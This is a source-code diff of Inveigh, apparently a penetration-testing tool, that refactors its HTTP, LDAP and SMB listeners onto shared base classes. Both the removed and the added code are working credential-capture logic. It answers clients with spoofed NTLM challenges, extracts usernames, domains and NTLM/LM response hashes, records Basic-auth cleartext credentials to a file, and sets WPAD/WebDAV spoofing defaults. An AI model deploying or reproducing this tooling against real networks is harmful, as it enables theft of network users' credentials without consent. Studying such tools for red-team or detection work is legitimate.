- } - catch (Exception ex) - { - - if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions")) - { - Output.Queue(string.Format("[!] Failed to start {0} listener on port {1}, check IP and port usage.", type, port)); - } - else - { - Output.Queue(ex.ToString()); - - } - } - - while (Program.isRunning) - { - tcpAsync = tcpListener.BeginAcceptTcpClient(null, null); - - do - { - Thread.Sleep(10); + this.EnabledWebDAV = true; + this.IgnoreAgents = new string[] { "Firefox" }; + this.HTTPAuth = "NTLM"; + this.WebDAVAuth = "NTLM"; + this.WPADAuth = "NTLM"; + this.HTTPRealm = "ADFS"; + this.NetbiosDomain = "DESKTOP-TI86FV2"; + this.ComputerName = "DESKTOP-TI86FV2"; + this.DNSDomain = "DESKTOP-TI86FV2"; + } - if (!Program.isRunning) - { - break; - } + protected override void OutputUserAgent(string protocol, string listenerPort, string clientIP, string clientPort, string userAgent) + { + Output.Queue(String.Format("[.] [{0}] {1}({2}) user agent from {3}:{4}:{5}{6}", Output.Timestamp(), protocol, listenerPort, clientIP, clientPort, Environment.NewLine, userAgent)); + } - } - while (!tcpAsync.IsCompleted); + protected override void OutputHostHeader(string protocol, string listenerPort, string clientIP, string clientPort, string hostHeader) + { + Output.Queue(String.Format("[.] [{0}] {1}({2}) host header {3} from {4}:{5}", Output.Timestamp(), protocol, listenerPort, hostHeader, clientIP, clientPort)); + } - TcpClient tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync); - object[] parameters = { tcpClient, type }; - ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters); - } + protected override void OutputRequestMethod(string protocol, string listenerPort, string clientIP, string clientPort, string uri, string method) + { + Output.Queue(String.Format("[.] [{0}] {1}({2}) {3} request from {5}:{6} for {4}", Output.Timestamp(), protocol, listenerPort, method, uri, clientIP, clientPort)); + } + protected override void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash) + { + Output.NTLMOutput(user, domain, ntlmChallenge, ntlmResponseHash, clientIP, host, protocol, listenerPort, clientPort, lmResponseHash); } - internal void ReceiveClient(object parameters) + protected override void OutputChallenge(string protocol, string listenerPort, string clientIP, string clientPort, string challenge) { - object[] parameterArray = parameters as object[]; - TcpClient tcpClient = (TcpClient)parameterArray[0]; - string type = (string)parameterArray[1]; - string[] supportedMethods = { "GET", "HEAD", "OPTIONS", "CONNECT", "POST", "PROPFIND" }; - string sourceIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString(); - string sourcePort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString(); - string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString(); - string session = sourceIP + ":" + sourcePort; - string ntlmChallenge = ""; - int ntlmStage = 0; - bool proxyIgnoreMatch = false; - bool wpadAuthIgnoreMatch = false; - NetworkStream tcpStream = null; - NetworkStream httpStream = null; - SslStream httpsStream = null; - X509Certificate2 certificate = null; - bool isClientClose = false; + Output.Queue(String.Format("[+] [{0}] {1}({2}) NTLM challenge [{3}] sent to {4}:{5}", Output.Timestamp(), protocol, listenerPort, challenge, clientIP, clientPort)); + } - if (type.Equals("HTTPS")) + protected override void OutputError(Exception ex, string protocol, int port) + { + if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions")) { - byte[] certificateData = Convert.FromBase64String(Program.argCert); - certificate = new X509Certificate2(certificateData, Program.argCertPassword, X509KeyStorageFlags.MachineKeySet); - tcpStream = tcpClient.GetStream(); - httpsStream = new SslStream(tcpStream, false); + Output.Queue(string.Format("[!] Failed to start {0} listener on port {1}, check IP and port usage.", protocol, port)); } else { - httpStream = tcpClient.GetStream(); - } - - while (tcpClient.Connected && Program.isRunning) - { - byte[] requestData = new byte[4096]; - - if (type.Equals("HTTPS")) - { - - do - { - Thread.Sleep(100); - } - while (!tcpStream.DataAvailable && tcpClient.Connected); - - } - else - { - - do - { - Thread.Sleep(100); // todo check - } - while (!httpStream.DataAvailable && tcpClient.Connected); - - } - - if (String.Equals(type, "HTTPS")) - { - - try - { - - if (!httpsStream.IsAuthenticated) - { - httpsStream.AuthenticateAsServer(certificate, false, tls12, false); - } - - while (tcpStream.DataAvailable) - { - httpsStream.Read(requestData, 0, requestData.Length); - } - - } - catch (Exception ex) - { - - if (!ex.Message.Contains("A call to SSPI failed, see inner exception.")) - { - Console.WriteLine(ex.Message); - } - - } - - } - else - { - - while (httpStream.DataAvailable) - { - httpStream.Read(requestData, 0, requestData.Length); - } - - } - - HTTPRequest request = new HTTPRequest(); - - if (!Utilities.ArrayIsNullOrEmpty(requestData)) - { - request.ReadBytes(requestData, 0); - } - - if (!string.IsNullOrEmpty(request.Method)) - { - Output.Queue(String.Format("[.] [{0}] {1}({2}) {3} request from {5}:{6} for {4}", Output.Timestamp(), type, listenerPort, request.Method, request.URI, sourceIP, sourcePort)); - } - - if (!string.IsNullOrEmpty(request.URI)) - { - Output.Queue(String.Format("[.] [{0}] {1}({2}) host header {3} from {4}:{5}", Output.Timestamp(), type, listenerPort, request.Host, sourceIP, sourcePort)); - } - - if (!string.IsNullOrEmpty(request.UserAgent)) - { - Output.Queue(String.Format("[.] [{0}] {1}({2}) user agent from {3}:{4}:{5}{6}", Output.Timestamp(), type, listenerPort, sourceIP, sourcePort, Environment.NewLine, request.UserAgent)); - } - - if (!string.IsNullOrEmpty(request.Method) && Array.Exists(supportedMethods, element => element == request.Method)) - { - - HTTPResponse response = new HTTPResponse - { - Version = "HTTP/1.1", - StatusCode = "401", - ReasonPhrase = "Unauthorized", - Connection = "close", - Server = "Microsoft-HTTPAPI/2.0", - Date = DateTime.Now.ToString("R"), - ContentType = "text/html", - ContentLength = "0" - }; - - if (!Utilities.ArrayIsNullOrEmpty(Program.argIgnoreAgents) && Program.argWPADAuth.Equals("NTLM")) - { - - foreach (string agent in Program.argIgnoreAgents) - { - - if (request.UserAgent.ToUpper().Contains(agent.ToUpper())) - { - wpadAuthIgnoreMatch = true; - } - - } - - if (wpadAuthIgnoreMatch) - { - Output.Queue(string.Format("[-] [{0}] {1}({2}) switching wpad.dat auth to anonymous due to user agent match from {3}:{4}", Output.Timestamp(), type, listenerPort, sourceIP, sourcePort)); - } - - } - - if (type.Equals("Proxy")) - { - response.StatusCode = "407"; - response.ProxyAuthenticate = "NTLM"; - response.WWWAuthenticate = ""; - response.Connection = "close"; - } - else if(Program.enabledWebDAV && request.Method.Equals("PROPFIND") && Program.argWebDAVAuth.StartsWith("NTLM")) - { - response.WWWAuthenticate = "NTLM"; - } - else if (Program.enabledWebDAV && request.Method.Equals("PROPFIND") && Program.argWebDAVAuth.Equals("BASIC")) - { - response.WWWAuthenticate = string.Concat("Basic realm=", Program.argHTTPRealm); - } - else if (!string.Equals(request.URI, "/wpad.dat") && string.Equals(Program.argHTTPAuth, "ANONYMOUS") || string.Equals(request.URI, "/wpad.dat") && string.Equals(Program.argWPADAuth, "ANONYMOUS") || wpadAuthIgnoreMatch || - (Program.enabledWebDAV && request.Method.Equals("OPTIONS"))) - { - response.StatusCode = "200"; - response.ReasonPhrase = "OK"; - } - else if ((Program.argHTTPAuth.StartsWith("NTLM") && !string.Equals(request.URI, "/wpad.dat")) || (Program.argWPADAuth.StartsWith("NTLM") && string.Equals(request.URI, "/wpad.dat"))) - { - response.WWWAuthenticate = "NTLM"; - } - else if ((string.Equals(Program.argHTTPAuth, "BASIC") && !string.Equals(request.URI, "/wpad.dat")) || (string.Equals(Program.argWPADAuth, "BASIC") && string.Equals(request.URI, "/wpad.dat"))) - { - response.WWWAuthenticate = string.Concat("Basic realm=", Program.argHTTPRealm); - } - - if ((!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("NTLM ")) || (!string.IsNullOrEmpty(request.ProxyAuthorization)) && request.ProxyAuthorization.ToUpper().StartsWith("NTLM ")) - { - string authorization = request.Authorization; - - if (!string.IsNullOrEmpty(request.ProxyAuthorization)) - { - authorization = request.ProxyAuthorization; - } - - NTLMNegotiate ntlm = new NTLMNegotiate(); - ntlm.ReadBytes(Convert.FromBase64String(authorization.Substring(5, authorization.Length - 5)), 0); - - if (ntlm.MessageType == 1) - { - byte[] timestamp = BitConverter.GetBytes(DateTime.Now.ToFileTime()); - NTLMChallenge challenge = new NTLMChallenge(Program.argChallenge, Program.netbiosDomain, Program.computerName, Program.dnsDomain, Program.computerName, Program.dnsDomain); - byte[] challengeData = challenge.GetBytes(Program.computerName); - ntlmChallenge = BitConverter.ToString(challenge.ServerChallenge).Replace("-", ""); - string sessionTimestamp = BitConverter.ToString(timestamp).Replace("-", ""); - Program.httpSessionTable[sessionTimestamp] = ntlmChallenge; - Output.Queue(String.Format("[+] [{0}] {1}({2}) NTLM challenge [{3}] sent to {4}:{5}", Output.Timestamp(), type, listenerPort, ntlmChallenge, sourceIP, sourcePort)); - - if (String.Equals(type, "Proxy")) - { - response.StatusCode = "407"; - response.ProxyAuthenticate = "NTLM " + Convert.ToBase64String(challengeData); - } - else - { - response.WWWAuthenticate = "NTLM " + Convert.ToBase64String(challengeData); - } - - response.Connection = ""; - } - else if (ntlm.MessageType == 3) - { - response.StatusCode = "200"; - response.ReasonPhrase = "OK"; - ntlmStage = 3; - isClientClose = true; - NTLMResponse ntlmResponse = new NTLMResponse(Convert.FromBase64String(authorization.Substring(5, authorization.Length - 5)), false); - string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName); - string user = Encoding.Unicode.GetString(ntlmResponse.UserName); - string host = Encoding.Unicode.GetString(ntlmResponse.Workstation); - string ntlmResponseHash = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", ""); - string lmResponseHash = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", ""); - - if (string.IsNullOrEmpty(ntlmChallenge)) // NTLMv2 workaround to track sessions over different ports without a cookie - { - byte[] timestamp = new byte[8]; - Buffer.BlockCopy(ntlmResponse.NtChallengeResponse, 24, timestamp, 0, 8); - string sessionTimestamp = BitConverter.ToString(timestamp).Replace("-", ""); - ntlmChallenge = Program.httpSessionTable[sessionTimestamp].ToString(); - } - - Output.NTLMOutput(user, domain, ntlmChallenge, ntlmResponseHash, sourceIP, host, type, listenerPort, sourcePort, lmResponseHash); - - if (type.Equals("Proxy")) - { - - if (!string.IsNullOrEmpty(Program.argHTTPResponse)) - { - response.CacheControl = "no-cache, no-store"; - } - - } - - } - - } - else if (!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("BASIC ")) - { - response.StatusCode = "200"; - response.ReasonPhrase = "OK"; - string httpHeaderAuthorizationBase64 = request.Authorization.Substring(6, request.Authorization.Length - 6); - string cleartextCredentials = Encoding.UTF8.GetString(Convert.FromBase64String(httpHeaderAuthorizationBase64)); - - lock (Program.cleartextList) - { - Program.cleartextList.Add(string.Concat(sourceIP, " ", cleartextCredentials)); - } - - Output.Queue(string.Format("[+] [{0}] {1}({2}) Basic authentication [cleartext credentials] captured from {3}({4}):\r\n{5}", Output.Timestamp(), type, listenerPort, sourceIP, sourcePort, cleartextCredentials)); - - if (Program.enabledFileOutput) - { - - lock (Program.cleartextFileList) - { - Program.cleartextFileList.Add(string.Concat(sourceIP, ",", cleartextCredentials)); - } - - Output.Queue(string.Format("[!] [{0}] {1}({2}) Basic authentication cleartext credentials written to {3}", Output.Timestamp(), type, listenerPort, String.Concat(Program.argFilePrefix, "-Cleartext.txt"))); - } - - } - - if (!string.IsNullOrEmpty(Program.argWPADResponse) && !proxyIgnoreMatch && string.Equals(request.URI, "/wpad.dat")) - { - response.ContentType = "application/x-ns-proxy-autoconfig"; - response.Message = Encoding.UTF8.GetBytes(Program.argWPADResponse); - } - else if (!string.IsNullOrEmpty(Program.argHTTPResponse)) - { - response.Message = Encoding.UTF8.GetBytes(Program.argHTTPResponse); - } - - if (Program.enabledWebDAV) - { - - if (request.Method.Equals("OPTIONS")) - { - response.StatusCode = "200"; - response.ReasonPhrase = "OK"; - response.Allow = "OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, LOCK, UNLOCK"; - response.Public = "OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK"; - response.DAV = "1,2,3"; - response.Author = "DAV"; - } - else if (request.Method.Equals("PROPFIND")) - { - DateTime currentTime = DateTime.Now; - response.Message = Encoding.UTF8.GetBytes("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\">\r\n<HTML><HEAD><TITLE>Not Authorized</TITLE>\r\n<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=us-ascii\"></HEAD>\r\n<BODY><h2>Not Authorized</h2>\r\n<hr><p>HTTP Error 401. The requested resource requires user authentication.</p>\r\n</BODY></HTML>\r\n"); - response.Connection = ""; - - if (ntlmStage == 3 || (!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("BASIC ")) || Program.argHTTPAuth.Equals("ANONYMOUS")) - { - response.Connection = "close"; - - if (!request.URI.Contains(".")) - { - response.ContentType = "text/xml"; - response.Message = Encoding.UTF8.GetBytes("<?xml version=\"1.0\" encoding=\"utf-8\"?><D:multistatus xmlns:D=\"DAV:\"><D:response><D:href>http://" + sourceIP + request.URI + "</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype/><D:getlastmodified>" + currentTime.ToString("R") + "</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>webdav</D:displayname><D:getcontentlanguage/><D:getcontentlength>0</D:getcontentlength><D:iscollection>1</D:iscollection><D:creationdate>" + currentTime.ToString("yyyy-MM-ddThh:mm:ss.fffZ") + "</D:creationdate><D:resourcetype><D:collection/></D:resourcetype></D:prop></D:propstat></D:response></D:multistatus>"); - } - else - { - response.ContentType = "text/plain"; - } - - } - - } - - } - - byte[] buffer = response.GetBytes(); - - if (type.Equals("HTTPS") && httpsStream.CanRead) - { - httpsStream.Write(buffer, 0, buffer.Length); - httpsStream.Flush(); - } - else if (httpStream.CanRead) - { - httpStream.Write(buffer, 0, buffer.Length); - httpStream.Flush(); - } - - if (isClientClose) - { - - if (type.Equals("Proxy")) - { - tcpClient.Client.Close(); - } - else - { - tcpClient.Close(); - } - - } - - } + Output.Queue(ex.ToString()); } - } } diff --git a/Inveigh/Listeners/LDAPListener.cs b/Inveigh/Listeners/LDAPListener.cs index 19bed7d..48e73df 100644 --- a/Inveigh/Listeners/LDAPListener.cs +++ b/Inveigh/Listeners/LDAPListener.cs @@ -1,159 +1,30 @@ -using Quiddity; -using Quiddity.LDAP; -using Quiddity.NTLM; -using Quiddity.Support; -using System; -using System.Net; -using System.Net.Sockets; -using System.Text; -using System.Threading; +using System; namespace Inveigh { - class LDAPListener + class LDAPListener : Quiddity.LDAPListener { - internal void Start(IPAddress ipAddress, int port) + protected override void OutputChallenge(string listenerPort, string clientIP, string clientPort, string challenge) { - TCPListener tcpListener = new TCPListener(ipAddress, port); - IAsyncResult tcpAsync; - TcpClient tcpClient; - - try - { - tcpListener.Start(); - } - catch (Exception ex) - { - - if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions")) - { - Output.Queue(String.Format("[!] Failed to start LDAP listener on port {0}, check IP and port usage.", port)); - } - else - { - Output.Queue(ex.ToString()); - - } - } - - while (Program.isRunning) - { - tcpAsync = tcpListener.BeginAcceptTcpClient(null, null); - - do - { - Thread.Sleep(10); - - if (!Program.isRunning) - { - break; - } - - } - while (!tcpAsync.IsCompleted); - - tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync); - object[] parameters = { tcpClient }; - ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters); - } + Output.Queue(String.Format("[+] [{0}] LDAP({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), listenerPort, challenge, clientIP, clientPort)); + } + protected override void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash) + { + Output.NTLMOutput(user, domain, ntlmChallenge, ntlmResponseHash, clientIP, host, protocol, listenerPort, clientPort, lmResponseHash); } - internal void ReceiveClient(object parameters) + protected override void OutputError(Exception ex, int port) { - object[] parameterArray = parameters as object[]; - TcpClient tcpClient = (TcpClient)parameterArray[0]; - NetworkStream tcpStream = tcpClient.GetStream(); - string ntlmChallenge = ""; - string clientIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString(); - string clientPort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString(); - string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString(); - while (tcpClient.Connected && Program.isRunning) + if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions")) { - byte[] requestData = new byte[4096]; - - do - { - Thread.Sleep(100); - } - while (!tcpStream.DataAvailable && tcpClient.Connected); - - while (tcpStream.DataAvailable) - { - tcpStream.Read(requestData, 0, requestData.Length); - } - - LDAPMessage message = new LDAPMessage(); - message.Decode(requestData); - LDAPMessage message2 = new LDAPMessage(); - message2.MessageID = message.MessageID; - byte[] buffer = new byte[0]; - Output.Queue(String.Format("[.] [{0}] LDAP({1}) message type {2} request from {3}:{4}", Output.Timestamp(), listenerPort, message.Tag, clientIP, clientPort)); - - if (message.Tag == 3) - { - LDAPMessage message3 = new LDAPMessage(); - message3.MessageID = message.MessageID; - LDAPSearchRequest searchRequest = new LDAPSearchRequest(); - searchRequest.ReadBytes((byte[][])message.ProtocolOp); - - LDAPSearchResDone resdone = new LDAPSearchResDone(); - resdone.ResultCode = 0; - LDAPSearchResEntry search = new LDAPSearchResEntry(); - - if (String.Equals(searchRequest.Attributes[0], "supportedCapabilities")) - { - LDAPSupportedCapabilities cap = new LDAPSupportedCapabilities(); - search.Attributes = cap.Encode(); - } - else if (String.Equals(searchRequest.Attributes[0], "supportedSASLMechanisms")) - { - LDAPSupportedSASLMechanisms mech = new LDAPSupportedSASLMechanisms(); - search.Attributes = mech.Encode(); - } - - message2.ProtocolOp = search; - message3.ProtocolOp = resdone; - buffer = Utilities.BlockCopy(message2.Encode(4), message3.Encode(5)); - } - else if (message.Tag == 0) - { - LDAPBindRequest bind = new LDAPBindRequest(); - bind.ReadBytes((byte[][])message.ProtocolOp); - LDAPSaslCredentials sasl = new LDAPSaslCredentials(); - sasl.ReadBytes(bind.Authentication); - NTLMNegotiate ntlm = new NTLMNegotiate(); - ntlm.ReadBytes(sasl.Credentials, 0); - - if (ntlm.MessageType == 1) - { - NTLMChallenge challenge = new NTLMChallenge(Program.argChallenge, Program.netbiosDomain, Program.computerName, Program.dnsDomain, Program.computerName, Program.dnsDomain); - byte[] challengeData = challenge.GetBytes(Program.computerName); - ntlmChallenge = BitConverter.ToString(challenge.ServerChallenge).Replace("-", ""); - LDAPBindResponse bindResponse = new LDAPBindResponse(); - bindResponse.ServerSaslCreds = challengeData; - LDAPMessage bindMessage = new LDAPMessage(); - bindMessage.MessageID = message.MessageID; - bindMessage.ProtocolOp = bindResponse; - buffer = bindMessage.Encode(3); - Output.Queue(String.Format("[+] [{0}] LDAP({1}) NTLM challenge {2} sent to {3}:{4}", Output.Timestamp(), listenerPort, ntlmChallenge, clientIP, clientPort)); - } - else if (ntlm.MessageType == 3) - { - NTLMResponse ntlmResponse = new NTLMResponse(sasl.Credentials, false); - string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName); - string user = Encoding.Unicode.GetString(ntlmResponse.UserName); - string host = Encoding.Unicode.GetString(ntlmResponse.Workstation); - string response2 = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", ""); - Output.NTLMOutput(user, domain, ntlmChallenge, response2, clientIP, host, "LDAP", listenerPort, clientPort, null); - } - - } - - tcpStream.Write(buffer, 0, buffer.Length); - tcpStream.Flush(); + Output.Queue(String.Format("[!] Failed to start LDAP listener on port {0}, check IP and port usage.", port)); + } + else + { + Output.Queue(ex.ToString()); } } diff --git a/Inveigh/Listeners/LLMNRListener.cs b/Inveigh/Listeners/LLMNRListener.cs index acde2b0..93729b5 100644 --- a/Inveigh/Listeners/LLMNRListener.cs +++ b/Inveigh/Listeners/LLMNRListener.cs @@ -1,7 +1,4 @@ using System; -using System.Net; -using System.Net.Sockets; -using Quiddity; using Quiddity.LLMNR; namespace Inveigh diff --git a/Inveigh/Listeners/MDNSListener.cs b/Inveigh/Listeners/MDNSListener.cs index 8e6336c..c8736ed 100644 --- a/Inveigh/Listeners/MDNSListener.cs +++ b/Inveigh/Listeners/MDNSListener.cs @@ -1,12 +1,5 @@ -using Quiddity; -using Quiddity.MDNS; -using Quiddity.Support; +using Quiddity.MDNS; using System; -using System.Collections.Generic; -using System.Linq; -using System.Net; -using System.Net.Sockets; -using System.Text; namespace Inveigh { diff --git a/Inveigh/Listeners/NBNSListener.cs b/Inveigh/Listeners/NBNSListener.cs index 49e4fc2..6e574d8 100644 --- a/Inveigh/Listeners/NBNSListener.cs +++ b/Inveigh/Listeners/NBNSListener.cs @@ -1,9 +1,6 @@ using System; -using System.Net; -using System.Net.Sockets; using Quiddity; using Quiddity.NetBIOS; -using Quiddity.Support; namespace Inveigh { diff --git a/Inveigh/Listeners/SMBListener.cs b/Inveigh/Listeners/SMBListener.cs index a0e6825..e7606ae 100644 --- a/Inveigh/Listeners/SMBListener.cs +++ b/Inveigh/Listeners/SMBListener.cs @@ -30,231 +30,37 @@ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using System; -using System.Net; -using System.Net.Sockets; -using System.Text; -using System.Threading; -using Quiddity; -using Quiddity.NetBIOS; -using Quiddity.NTLM; -using Quiddity.SMB; -using Quiddity.SMB2; -using Quiddity.Support; namespace Inveigh { - class SMBListener + class SMBListener : Quiddity.SMBListener { - internal void Start(IPAddress ipAddress, int port) - { - TCPListener tcpListener = new TCPListener(ipAddress, port); - IAsyncResult tcpAsync; - TcpClient tcpClient; - Guid guid = Guid.NewGuid(); - - try - { - tcpListener.Start(); - } - catch (Exception ex) - { - - if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions")) - { - Output.Queue(String.Format("[!] Failed to start SMB listener on port {0}, check IP and port usage.", port)); - } - else - { - Output.Queue(ex.ToString()); - } - - Program.enabledSMB = false; - } - - while (Program.isRunning && Program.enabledSMB) - { - tcpAsync = tcpListener.BeginAcceptTcpClient(null, null); - do - { - Thread.Sleep(10); - - if (!Program.isRunning) - { - break; - } - - } - while (!tcpAsync.IsCompleted); + protected override void OutputChallenge(string listenerPort, string clientIP, string clientPort, string challenge) + { + Output.Queue(String.Format("[+] [{0}] SMB({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), listenerPort, challenge, clientIP, clientPort)); + } - tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync); - object[] parameters = { guid, tcpClient }; - ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters); - } + protected override void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash) + { + Output.NTLMOutput(user, domain, ntlmChallenge, ntlmResponseHash, clientIP, host, protocol, listenerPort, clientPort, lmResponseHash); + } + protected override void OutputNegotiation(string protocol, string listenerPort, string clientIP, string clientPort) + { + Output.Queue(String.Format("[.] [{0}] {1}({2}) negotiation request received from {3}:{4}", Output.Timestamp(), protocol, listenerPort, clientIP, clientPort)); } - internal void ReceiveClient(object parameters) + protected override void OutputError(Exception ex, int port) { - object[] parameterArray = parameters as object[]; - Guid serverGuid = (Guid)parameterArray[0]; - TcpClient tcpClient = (TcpClient)parameterArray[1]; - NetworkStream tcpStream = tcpClient.GetStream(); - bool isSMB2; - string challenge = ""; - string clientIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString(); - string clientPort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString(); - string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString(); - while (tcpClient.Connected && Program.isRunning) + if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions")) { - byte[] requestData = new byte[4096]; - - do - { - Thread.Sleep(100); - } - while (!tcpStream.DataAvailable && tcpClient.Connected); - - while (tcpStream.DataAvailable) - { - tcpStream.Read(requestData, 0, requestData.Length); - } - - NetBIOSSessionService requestNetBIOSSessionService = new NetBIOSSessionService(requestData); - SMBHelper smbHelper = new SMBHelper(); - - if (requestNetBIOSSessionService.Type == 0 || smbHelper.Protocol[0] == 0xfe || smbHelper.Protocol[0] == 0xff) - { - int sessionServiceIndex = 0; - - if (requestNetBIOSSessionService.Type == 0) - { - sessionServiceIndex = 4; - } - - byte[] sendBuffer = new byte[0]; - SMBHeader requestSMBHeader = new SMBHeader(); - SMB2Header requestSMB2Header = new SMB2Header(); - smbHelper.ReadBytes(requestData, sessionServiceIndex); - - if (smbHelper.Protocol[0] == 0xfe) - { - isSMB2 = true; - requestSMB2Header.ReadBytes(requestData, sessionServiceIndex); - } - else - { - isSMB2 = false; - requestSMBHeader.ReadBytes(requestData, sessionServiceIndex); - } - - if (!isSMB2 && requestSMBHeader.Command == 0x72 || (isSMB2 && requestSMB2Header.Command == 0)) - { - SMB2NegotiatelRequest smb2NegotiatelRequest = new SMB2NegotiatelRequest(requestData, 64 + sessionServiceIndex); - SMB2Header responseSMB2Header = new SMB2Header(); - SMB2NegotiateResponse smb2NegotiateResponse = new SMB2NegotiateResponse(); - - if (!isSMB2) - { - smb2NegotiateResponse.DialectRivision = new byte[2] { 0xff, 0x02 }; - smb2NegotiateResponse.Capabilities = new byte[4] { 0x07, 0x00, 0x00, 0x00 }; - Output.Queue(String.Format("[.] [{0}] SMB1({1}) negotiation request received from {2}:{3}", Output.Timestamp(), listenerPort, clientIP, clientPort)); - } - else if (isSMB2) - { - responseSMB2Header.MessageId = requestSMB2Header.MessageId; - - if (smb2NegotiatelRequest.GetMaxDialect() == 0x311) - { - smb2NegotiateResponse.DialectRivision = new byte[2] { 0x11, 0x03 }; - smb2NegotiateResponse.NegotiateContextCount = 3; - smb2NegotiateResponse.Capabilities = new byte[4] { 0x2f, 0x00, 0x00, 0x00 }; - smb2NegotiateResponse.NegotiateContextOffset = 448; - smb2NegotiateResponse.NegotiateContextList = new SMB2NegotiateContext().GetBytes(new string[] { "1", "2", "3" }); - Output.Queue(String.Format("[.] [{0}] SMB3({1}) negotiated with {2}:{3}", Output.Timestamp(), listenerPort, clientIP, clientPort)); - } - else - { - smb2NegotiateResponse.DialectRivision = new byte[2] { 0x10, 0x02 }; - smb2NegotiateResponse.Capabilities = new byte[4] { 0x07, 0x00, 0x00, 0x00 }; - Output.Queue(String.Format("[.] [{0}] SMB2({1}) negotiated with {2}:{3}", Output.Timestamp(), listenerPort, clientIP, clientPort)); - } - - responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2; // todo fix - } - - smb2NegotiateResponse.EncodeBuffer(); - smb2NegotiateResponse.ServerGUID = serverGuid.ToByteArray(); - sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2NegotiateResponse); - } - else if (isSMB2 && requestSMB2Header.Command > 0) - { - - switch (requestSMB2Header.Command) - { - - case 1: - { - SMB2SessionSetupRequest smb2SessionSetupRequest = new SMB2SessionSetupRequest(requestData, 64 + sessionServiceIndex); - NTLMNegotiate requestNTLMNegotiate = new NTLMNegotiate(smb2SessionSetupRequest.Buffer, true); - - if (requestNTLMNegotiate.MessageType == 1) - { - SMB2Header responseSMB2Header = new SMB2Header(); - SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse(); - responseSMB2Header.Status = new byte[4] { 0x16, 0x00, 0x00, 0xc0 }; - responseSMB2Header.CreditCharge = 1; - responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2; - responseSMB2Header.Command = 1; - responseSMB2Header.Flags = new byte[4] { 0x11, 0x00, 0x00, 0x00 }; - responseSMB2Header.MessageId = requestSMB2Header.MessageId; - responseSMB2Header.SessionId = BitConverter.GetBytes(Program.smb2Session); - Program.smb2Session++; - smb2SessionSetupResponse.Pack(Program.argChallenge, Program.netbiosDomain, Program.computerName, Program.dnsDomain, Program.computerName, Program.dnsDomain, out byte[] challengeData); - sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2SessionSetupResponse); - challenge = BitConverter.ToString(challengeData).Replace("-", ""); - Output.Queue(String.Format("[+] [{0}] SMB({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), listenerPort, challenge, clientIP, clientPort)); - } - else if (requestNTLMNegotiate.MessageType == 3) - { - NTLMResponse ntlmResponse = new NTLMResponse(smb2SessionSetupRequest.Buffer, true); - string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName); - string user = Encoding.Unicode.GetString(ntlmResponse.UserName); - string host = Encoding.Unicode.GetString(ntlmResponse.Workstation); - string response = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-",""); - string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", ""); - Output.NTLMOutput(user, domain, challenge, response, clientIP, host, "SMB", listenerPort, clientPort, lmResponse); - 